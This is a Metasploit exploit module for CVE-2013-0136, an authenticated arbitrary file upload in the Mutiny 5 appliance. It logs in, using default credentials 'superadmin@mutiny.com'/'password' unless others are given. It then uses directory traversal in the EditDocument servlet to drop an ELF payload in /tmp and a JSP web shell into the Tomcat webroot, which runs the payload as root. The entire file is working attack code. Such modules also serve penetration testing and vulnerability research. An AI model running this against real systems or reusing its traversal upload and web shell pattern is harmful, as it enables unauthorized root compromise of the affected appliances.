##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  HttpFingerprint = { :pattern => [ /Apache-Coyote/ ] }

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Mutiny 5 Arbitrary File Upload',
      'Description' => %q{
          This module exploits a code execution flaw in the Mutiny 5 appliance. The
        EditDocument servlet provides a file upload function to authenticated users. A
        directory traversal vulnerability in the same functionality allows for arbitrary
        file upload, which results in arbitrary code execution with root privileges. In
        order to exploit the vulnerability a valid user (any role) in the web frontend is
        required. The module has been tested successfully on the Mutiny 5.0-1.07 appliance.
      },
      'Author'       =>
        [
          'juan vazquez' # Metasploit module and initial discovery
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'CVE', '2013-0136' ],
          [ 'OSVDB', '93444' ],
          [ 'US-CERT-VU', '701572' ],
          [ 'URL', 'https://www.rapid7.com/blog/post/2013/05/15/new-1day-exploits-mutiny-vulnerabilities' ]
        ],
      'Privileged'  => true,
      'Platform'    => 'linux',
      'Arch' => ARCH_X86,
      'Targets'     =>
        [
          [ 'Mutiny 5.0-1.07 Appliance (Linux)', { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2013-05-15'))

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [true, 'Path to Mutiny Web Service', '/']),
        OptString.new('USERNAME', [ true, 'The user to authenticate as', 'superadmin@mutiny.com' ]),
        OptString.new('PASSWORD', [ true, 'The password to authenticate with', 'password' ])
      ])
  end

  def upload_file(location, filename, contents)
    post_data = Rex::MIME::Message.new
    post_data.add_part(contents, "application/octet-stream", nil, "form-data; name=\"uploadFile\"; filename=\"#{filename}\"")
    post_data.add_part("../../../..#{location}", nil, nil, "form-data; name=\"uploadPath\"")

    data = post_data.to_s

    res = send_request_cgi(
    {
      'uri'     => normalize_uri(target_uri.path, "interface","EditDocument"),
      'method'  => 'POST',
      'data'    => data,
      'ctype'   => "multipart/form-data; boundary=#{post_data.bound}",
      'cookie'  => "JSESSIONID=#{@session}"
    })

    if res and res.code == 200 and res.body =~ /\{"success":true\}/
      return true
    else
      return false
    end
  end

  def login

    res = send_request_cgi(
      {
        'uri'    => normalize_uri(target_uri.path, "interface", "index.do"),
        'method' => 'GET'
      })

    if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
      first_session = $1
    end

    res = send_request_cgi(
    {
      'uri'       => normalize_uri(target_uri.path, "interface", "j_security_check"),
      'method'    => 'POST',
      'cookie'    => "JSESSIONID=#{first_session}",
      'vars_post' => {
        'j_username' => datastore['USERNAME'],
        'j_password' => datastore['PASSWORD']
      }
    })

    if res.nil? or res.code != 302 or res.headers['Location'] !~ /interface\/index.do/
      return false
    end

    res = send_request_cgi(
    {
      'uri'    => normalize_uri(target_uri.path, "interface", "index.do"),
      'method' => 'GET',
      'cookie' => "JSESSIONID=#{first_session}"
    })

    if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
      @session = $1
      return true
    end

    return false
  end

  def check
    res = send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "interface",  "/"),
    })

    if res.nil?
      vprint_error("Connection timed out")
      return Exploit::CheckCode::Unknown
    end

    if res.body =~ /var currentMutinyVersion = "Version ([0-9\.-]*)/
      version = $1
    end

    if version and version >= "5" and version <= "5.0-1.07"
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Trying to login")
    if login
      print_good("Login Successful")
    else
      fail_with(Failure::NoAccess, "#{peer} - Login failed, review USERNAME and PASSWORD options")
    end

    exploit_native
  end

  def exploit_native
    print_status("Uploading executable Payload file")
    elf = payload.encoded_exe
    elf_location = "/tmp"
    elf_filename = "#{rand_text_alpha_lower(8)}.elf"
    if upload_file(elf_location, elf_filename, elf)
      register_files_for_cleanup("#{elf_location}/#{elf_filename}")
    else
      fail_with(Failure::Unknown, "#{peer} - Payload upload failed")
    end

    print_status("Uploading JSP to execute the payload")
    jsp = jsp_execute_command("#{elf_location}/#{elf_filename}")
    jsp_location = "/usr/jakarta/tomcat/webapps/ROOT/m"
    jsp_filename = "#{rand_text_alpha_lower(8)}.jsp"
    if upload_file(jsp_location, jsp_filename, jsp)
      register_files_for_cleanup("#{jsp_location}/#{jsp_filename}")
    else
      fail_with(Failure::Unknown, "#{peer} - JSP upload failed")
    end

    print_status("Executing payload")
    send_request_cgi(
    {
      'uri'    => normalize_uri(target_uri.path, "m", jsp_filename),
      'method' => 'GET'
    })

  end

  def jsp_execute_command(command)
    jspraw =  %Q|<%@ page import="java.io.*" %>\n|
    jspraw << %Q|<%\n|
    jspraw << %Q|try {\n|
    jspraw << %Q|  Runtime.getRuntime().exec("chmod +x #{command}");\n|
    jspraw << %Q|} catch (IOException ioe) { }\n|
    jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n|
    jspraw << %Q|%>\n|

    jspraw
  end
end
